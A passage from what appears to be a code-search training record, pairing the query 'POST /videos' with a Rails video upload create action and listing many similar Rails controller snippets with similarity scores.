new.html.erb\n format.xml { render :xml => @episode }\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n\tif user_type != 'guest' and user_type != 'bunned' and user_type != 'new_user'\n\t\t@video = Video.new\n\t\t\n\t\t@title = 'Новое видео'\n\t\trespond_to do |format|\n\t\t format.html # new.html.erb\n\t\t format.json { render :json => @video }\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end", "def new\n @playlist = Playlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @playlist }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end", "def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end", "def new\n @video = Video.new\n respond_with(@video)\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n authorize! :create, @videos\n @videos = Video.new\n end", "def new\n @vtodo = Vtodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vtodo }\n end\n end", "def new\n @mwod_video_link = MwodVideoLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mwod_video_link }\n end\n end", "def new\n @vano = Vano.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vano }\n end\n end", "def new\n @evactivity = Evactivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evactivity }\n end\n end", "def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tv }\n end\n end", "def new\n @podcast = Podcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podcast }\n end\n end", "def new\n @podcast = Podcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podcast }\n end\n end", "def new\n @pause = Pause.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pause }\n end\n end", "def new\n @channel = params[:forminfo]\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n @vestimenta = Vestimenta.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vestimenta }\n end\n end", "def new\n @plays_on = PlaysOn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plays_on }\n end\n end", "def create\n @raw_video = RawVideo.new(params[:raw_video])\n\n respond_to do |format|\n if @raw_video.save\n format.html { redirect_to(@raw_video, :notice => 'Raw video was successfully created.') }\n format.xml { render :xml => @raw_video, :status => :created, :location => @raw_video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @raw_video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @cv = Cv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cv }\n end\n end", "def create\n vid = Video.create(video_params)\n redirect_to \"/videos/#{vid.id}\"\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n @channel = params[:forminfo]\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n @play = Play.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @play }\n format.json { render :json => @play }\n end\n end", "def create_videos\n end", "def new\n @vegetable = Vegetable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vegetable }\n end\n end", "def new\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.new\n @video.set_defaults\n @aws_signature_url = root_url + \"signatures/aws_uploads\"\n\n respond_to do |format|\n format.html\n format.json { render :json => {:video_id => @video.id, :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n not_authorized\n end\n\n end", "def new\n\t\t@vencimiento = Vencimiento.new\n\t\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @vencimiento }\n\t\tend\n\tend", "def new\n @dvd = Dvd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dvd }\n end\n end", "def new\n @vet = Vet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vet }\n end\n end", "def new\n @tags_songs = TagsSongs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tags_songs }\n end\n end", "def new\n @tutorials = Tutorials.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tutorials }\n end\n end", "def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end", "def new\n @vendedor = Vendedor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendedor }\n end\n end", "def new\n @vendedor = Vendedor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendedor }\n end\n end", "def new\n @movie_list = MovieList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie_list }\n end\n end", "def new\n @video = Video.new\n @scene = Scene.find(params[:scene_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def create\n @video = Video.new(video_params)\n puts @video\n puts \"**********************************\"\n if @video.save\n flash[:success] = 'Video added!'\n redirect_to '/videos'\n else\n render :new\n end\n end", "def new\n @playlist_clip = PlaylistClip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @playlist_clip }\n end\n end", "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @download }\n end\n end", "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @download }\n end\n end", "def new\n @player = Player.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @player }\n end\n end", "def new\n @player = Player.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @player }\n end\n end", "def new\n @player = Player.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @player }\n end\n end", "def new\n @player = Player.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @player }\n end\n end", "def new\n @player = Player.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @player }\n end\n end", "def new\n @velocity_event = VelocityEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @velocity_event }\n end\n end", "def new\n @vertical = Vertical.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vertical }\n end\n end", "def new\n @ep = Ep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ep }\n end\n end", "def new\n @partofspeech = Partofspeech.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partofspeech }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def new\n @resource = Resource.new \n @video = Video.new\n end", "def new\n @play_list = PlayList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @play_list }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @swf = Swf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @swf }\n end\n end", "def new\n @video = Video.new\n end" ]
[ "0.76469165", "0.7640834", "0.7640834", "0.7394197", "0.731504", "0.7281704", "0.71484494", "0.70745224", "0.7013342", "0.70122296", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70112634", "0.70054233", "0.69998634", "0.69808817", "0.6923785", "0.68685097", "0.6866566", "0.68592596", "0.68470067", "0.6845941", "0.6844729", "0.6774034", "0.6738456", "0.6703789", "0.6703789", "0.6687623", "0.6687623", "0.6668043", "0.6647474", "0.66414404", "0.66414404", "0.66414404", "0.66414404", "0.66052353", "0.65830505", "0.6561888", "0.65611184", "0.655488", "0.6493761", "0.64794475", "0.64474463", "0.643912", "0.6426926", "0.6426119", "0.6383457", "0.63804877", "0.6358515", "0.634744", "0.6345833", "0.6342741", "0.6341056", "0.63381946", "0.6327796", "0.6322673", "0.632065", "0.63114935", "0.63058215", "0.6304953", "0.63047916", "0.6303754", "0.6275788", "0.62748766", "0.6270352", "0.62641937", "0.62524575", "0.62524575", "0.6247944", "0.6247571", "0.6247452", "0.62467855", "0.62315416", "0.62315416", "0.62293786", "0.62293786", "0.62293786", "0.62293786", "0.62293786", "0.62277114", "0.6226098", "0.6215579", "0.6214443", "0.62131715", "0.6212583", "0.6208647", "0.6207916", "0.620689", "0.62052816", "0.62052816", "0.62052816", "0.6204666", "0.6203192" ]
0.75565237
3
POST /videos POST /videos.xml
def create flash[:notice] = '' if params.has_key?(:file) register_device params[:device_id] @video = Video.new(:video => params[:file], :upload_password => params[:upload_password], :device_id => params[:device_id], :timestamp => params[:timestamp], :annotation => params[:annotation] ) else @video = Video.new(params[:upload]) @video.timestamp = DateTime.now.to_i end respond_to do |format| if @video.save format.html { redirect_to :action => 'index' } format.xml { render :xml => @video, :status => :created, :location => @video } else format.html do flash[:notice] = 'Upload Error.' redirect_to :action => "index" end format.xml { render :xml => @video.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_videos\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @video = @room.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to upload_video_path(@video), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n @video.save!\n render json: @video\n end", "def upload_video(new_attributes={})\n BlipTV::ApiSpec.check_attributes('videos.upload', new_attributes)\n\n new_attributes = {\n :post => \"1\",\n :item_type => \"file\",\n :skin => \"xmlhttprequest\",\n :file_role => \"Web\"\n }.merge(new_attributes) # blip.tv requires the \"post\" param to be set to 1\n\n request = BlipTV::Request.new(:post, 'videos.upload')\n request.run do |p|\n for param, value in new_attributes\n p.send(\"#{param}=\", value)\n end\n end\n\n BlipTV::Video.new(request.response['post_url'].to_s)\n end", "def create\n # Esta solución no es viable con la versión de Dynamoid 0.7.1\n @video = current_user.videos.create(video_params)\n @video.usuario_id = current_user.id\n respond_to do |format|\n if @video.save\n flash[:success] = \"El video ha sido posteado, pasarán unos segundos para ser publicado\"\n format.html { redirect_to current_user }\n format.json { render action: 'show', status: :created, location: @video }\n else\n puts @video.to_s\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @raw_video = RawVideo.new(params[:raw_video])\n\n respond_to do |format|\n if @raw_video.save\n format.html { redirect_to(@raw_video, :notice => 'Raw video was successfully created.') }\n format.xml { render :xml => @raw_video, :status => :created, :location => @raw_video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @raw_video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n vid = Video.create(video_params)\n redirect_to \"/videos/#{vid.id}\"\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video.as_json }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def process_video(options = {})\n vzaar_video_id = nil\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n <video>\n <guid>#{options[:guid]}</guid>\n <title>#{options[:title]}</title>\n <description>#{options[:description]}</description>\n <profile>#{options[:profile]}</profile>\n }\n if !options[:transcoding].nil?\n request_xml += %{\n <transcoding>#{options[:transcoding]}</transcoding>\n }\n end\n request_xml += %{ \n </video>\n </vzaar-api>\n }\n auth_connection HTTP_POST, '/api/videos', request_xml do |response_body|\n vzaar_video_id = get_video_id_from_response_body(response_body)\n end\n vzaar_video_id\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_url, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = current_user.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path(), notice: 'Video criado com sucesso.' }\n format.json { render :index, status: :created, location: @video }\n else\n format.html { redirect_to new_video_path(), notice: 'Video não salvo.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n puts @video\n puts \"**********************************\"\n if @video.save\n flash[:success] = 'Video added!'\n redirect_to '/videos'\n else\n render :new\n end\n end", "def create\n @video = Video.new(nicovideo_id: params[:nicovideo_id])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully created.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n @video.uuid = params[:videohelpsubmission][:video_uuid]\n @video.token = SecureRandom.hex\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = @user.videos.build(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to user_videos_path(@user), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: user_videos_path(@user) }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Vídeo criado com sucesso' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def save_page\n page = xml_page()\n AR.save_all_videos(page)\nend", "def create\n @video = @project.videos.build(params[:video])\n\n respond_to do |format|\n if @video.save\n if current_subdomain_user.facebook_user? && @video.facebook_upload\n ItemWorker.asynch_upload_video_to_facebook(:video_id => @video.id, :fb_session => facebook_session)\n end\n flash[:notice] = 'Video is being processed.'\n format.html { redirect_to(project_item_path(@project, @video, :subdomain => @user.subdomain)) }\n format.xml { render :xml => @video, :status => :created, :location => project_video_path(project, @video) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @saved_video = SavedVideo.new(saved_video_params)\n\n respond_to do |format|\n if @saved_video.save\n format.html { redirect_to @saved_video, notice: 'Saved video was successfully created.' }\n format.json { render :show, status: :created, location: @saved_video }\n else\n format.html { render :new }\n format.json { render json: @saved_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.find(params[:album_id])\n @video = @album.videos.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @album, notice: 'Video creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @file = vid_params['file'].tempfile\n type = vid_params['file'].content_type\n client = YouTubeIt::Client.new(:username => ENV['GMAIL'], :password => ENV['GMAIL_PASSWORD'], :dev_key => ENV[\"YOUTUBE_API_KEY\"])\n res = client.video_upload(@file, title: vid_params['title'], description: vid_params['description'], category: 'People', :keywords => ['darity', 'dare', 'charity'])\n @video = Video.new(url: res.player_url, uid: res.player_url.gsub(/&.*/, \"\").gsub(/.*=/, \"\"), description: vid_params[\"description\"], title: vid_params['title'], dare_id: params[:dare_id])\n if @video.save\n redirect_to current_user\n else\n render html: \"Error\"\n end\n end", "def video_xml\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! :xml, :version => '1.0', :encoding => nil\n xml.entry :xmlns => 'http://www.w3.org/2005/Atom',\n 'xmlns:media' => 'http://search.yahoo.com/mrss/',\n 'xmlns:yt' => 'http://gdata.youtube.com/schemas/2007' do\n xml.media :group do\n xml.media :title, @opts[:title], :type => 'plain'\n xml.media :description, @opts[:description], :type => 'plain'\n xml.media :category, @opts[:category], :scheme => 'http://gdata.youtube.com/schemas/2007/categories.cat'\n @opts[:developer_tags].each do |developer_tag|\n xml.media :category, developer_tag, :scheme => 'http://gdata.youtube.com/schemas/2007/developertags.cat'\n end\n xml.tag! 'media:keywords', @opts[:keywords].join(\",\")\n end\n end\n xml.target!\n end", "def video_xml\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! :xml, :version => '1.0', :encoding => nil\n xml.entry :xmlns => 'http://www.w3.org/2005/Atom',\n 'xmlns:media' => 'http://search.yahoo.com/mrss/',\n 'xmlns:yt' => 'http://gdata.youtube.com/schemas/2007' do\n xml.media :group do\n xml.media :title, @opts[:title], :type => 'plain'\n xml.media :description, @opts[:description], :type => 'plain'\n xml.media :category, @opts[:category], :scheme => 'http://gdata.youtube.com/schemas/2007/categories.cat'\n @opts[:developer_tags].each do |developer_tag|\n xml.media :category, developer_tag, :scheme => 'http://gdata.youtube.com/schemas/2007/developertags.cat'\n end\n xml.tag! 'media:keywords', @opts[:keywords].join(\",\")\n end\n end\n xml.target!\n end", "def create\n @videofile = Videofile.new(params[:videofile])\n \n respond_to do |format|\n if @videofile.save\n format.html { redirect_to(@videofile, :notice => 'Videofile was successfully created.') }\n format.xml { render :xml => @videofile, :status => :created, :location => @videofile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @videofile.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\r\n @video = Video.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end", "def new\n @raw_video = RawVideo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @raw_video }\n end\n end", "def video_params\n params.require(:video).permit(:name, :description, :content, :link, :visit, :active, :section_id, :tag_list, :posted_at)\n end", "def video_params\n params.require(:video).permit(:titulo, :palestrante_id, :agenda_id, :descricao, :source, :youtube, :published, :tags, :podcast_stream_url, :podcast_duration)\n end", "def create\n @video = Video.new(params[:video])\n @video.published = true\n @video.hits = 0\n @video.current_review = 1\n @video.attach_covers\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n @video.user = current_user\n\n flash[:success] = 'Video has been uploaded and is being processed.' if @video.save\n respond_with(current_user,@video)\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def video_doc(xml)\n Nokogiri::XML.parse(\"<root xmlns:video='#{SitemapGenerator::SCHEMAS['video']}'>#{xml}</root>\")\n end", "def create\n token = token_from_link params[:video][:token]\n\n gdata = Youtube.new token\n\n @video = Video.new(params[:video]) do |v|\n v.user = current_user\n v.token = token\n v.name = gdata.title if v.name.blank?\n\n v.yt_title = gdata.title\n v.yt_thumb = gdata.thumb\n v.yt_rating = gdata.rating_100\n v.yt_view_count = gdata.view_count\n v.yt_favorite_count = gdata.favorite_count\n v.yt_published = gdata.published\n end\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @videofile = Videofile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @videofile }\n end\n end", "def postprocess\n video_params = JSON.parse(params[\"upload_response\"])\n @video = Video.new(:panda_video_id => video_params[\"id\"], :title => \"Title-to-be-edited-later\")\n\n if @video.save\n render :json => {:play_url => url_for(@video), :id => @video_id}\n end\n end", "def video_params\n params[:video]\n end", "def video_params\n params[:video]\n end", "def video_params\n params[:video]\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n @publication = Publication.create(:content => @video.content + @video.name + @video.description + @video.tag_list.join(' '), :published_id => @video.id, :published_type => 'Video')\n format.html { redirect_to videos_path, notice: 'El video fue creada correctamente.' }\n format.json { render action: 'list', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @community_member_video = @community_member_profile.videos.new(params[:community_member_video])\n\n respond_to do |format|\n if @community_member_video.save\n flash[:notice] = 'CommunityMemberVideo was successfully created.'\n format.html { redirect_to([:admin, @community_member_profile, @community_member_video]) }\n format.xml { render :xml => @community_member_video, :status => :created, :location => @community_member_video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @community_member_video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @video_model = VideoModel.new(params[:video_model])\n\n respond_to do |format|\n if @video_model.save\n flash[:notice] = 'VideoModel was successfully created.'\n format.html { redirect_to(@video_model) }\n format.xml { render :xml => @video_model, :status => :created, :location => @video_model }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video_model.errors, :status => :unprocessable_entity }\n end\n end\n end", "def video_params\n params.require(:video).permit(:title, :video)\n end", "def video_params\n params.require(:video).permit(:video, :title, :subtitle, :description, :is_published, :is_showed_on_tv, :showed_date)\n end", "def video_params\n params.require(:video).permit(:title, :url, :description)\n end", "def video_params\n params.require(:video).permit(:title, :content)\n end", "def create\n @video = Video.new(video_params)\n @video.update(user_id: current_user.id)\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully uploaded.' }\n format.json {\n render json: { files: [@video.to_jq_upload], url: video_path(@video), message: \"Uploaded successfully.\" }, status: :created, location: @video\n }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to home_admin_path, notice: '视频创建成功!' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @video = @project.videos.build\n \n respond_to do |format|\n if @user.can_add_videos?\n format.html # new.html.erb\n format.xml { render :xml => @video }\n else\n flash[:warning] = \"You cannot add any more videos, upgrade plan or remove old videos.\"\n format.html { redirect_to(project_url(@project, :subdomain => @user.subdomain)) }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n params[:video][:fecha] = DateTime.strptime(params[:video][:fecha], \"%Y-%m-%d %H:%M:%S UTC\")\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n\t\t\t@v_id = Video.maximum(:id)\n params[:parts].each do |part|\n\t\t\t\tpart[:id_video] = @v_id\n @p = Participante.new(participante_params(part))\n if !@p.save\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n format.html { redirect_to @video, notice: 'El video se ha registrado con éxito en el catálogo.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sales_video = Sales::Video.new(sales_video_params)\n\n respond_to do |format|\n if @sales_video.save\n format.html { redirect_to sales_seller_course_video_path(@seller, @course, @sales_video), notice: \"Video foi criado com sucesso.\" }\n format.json { render :show, status: :created, location: @sales_video }\n else\n format.html { render :new, status: 